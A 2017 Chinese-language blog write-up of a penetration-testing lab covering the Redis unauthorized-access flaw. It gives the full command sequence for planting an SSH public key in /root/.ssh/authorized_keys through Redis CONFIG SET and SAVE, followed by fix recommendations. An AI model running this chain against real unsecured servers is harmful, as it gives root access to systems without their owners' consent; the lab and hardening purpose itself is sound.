【Web渗透】Redis未授权访问漏洞

前言

Redis未授权访问漏洞是一个很经典的漏洞了,爆出来也已经很长时间了,当然我听说的时候也已经很晚了,也一直没有亲自动手实验过,正好前段时间表哥组织的渗透比赛里放了个实验环境,就试了试。现在网上关于此的文章也已经很多,我这里也是大部分搬自别人的,随便写写吧,有兴趣的可以自己搭建环境尝试一下~

漏洞概述

Redis默认情况下,会绑定在0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器(导致可以执行任何操作)。

漏洞影响

Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

漏洞利用

下面简要写写实验过程,因为表哥貌似把环境关了,所以部分图来自网络,不过过程都差不多~

本地生成公钥私钥

1
$ssh-keygen –t rsa


生成的公私钥文件默认在/root/.ssh 文件夹下,我们打开这个文件夹。

将公钥写进一个文件

1
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

链接Redis写入文件

1
2
3
4
5
6
7
8
9
10
11
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件。

远程登录服务器

1
$ ssh 192.168.1.11

登陆之后该怎么做就不用我说了。下面是我拿到的flag~

修复建议

1.配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
2.配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
3.配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
4.好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config

感谢及参考

感谢表哥提供的比赛实验平台!
Redis未授权访问配合SSH key文件利用分析:ZoomEye全球最新独家数据 V2
Redis 未授权访问缺陷可轻易导致系统被黑
A few things about Redis security


声明:
文章标题:【Web渗透】Redis未授权访问漏洞
文章作者:RookieHacker
文章链接:http://rookiehacker.coding.me/blog/2017/02/09/redis/
文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。


喜欢,就支持我一下吧~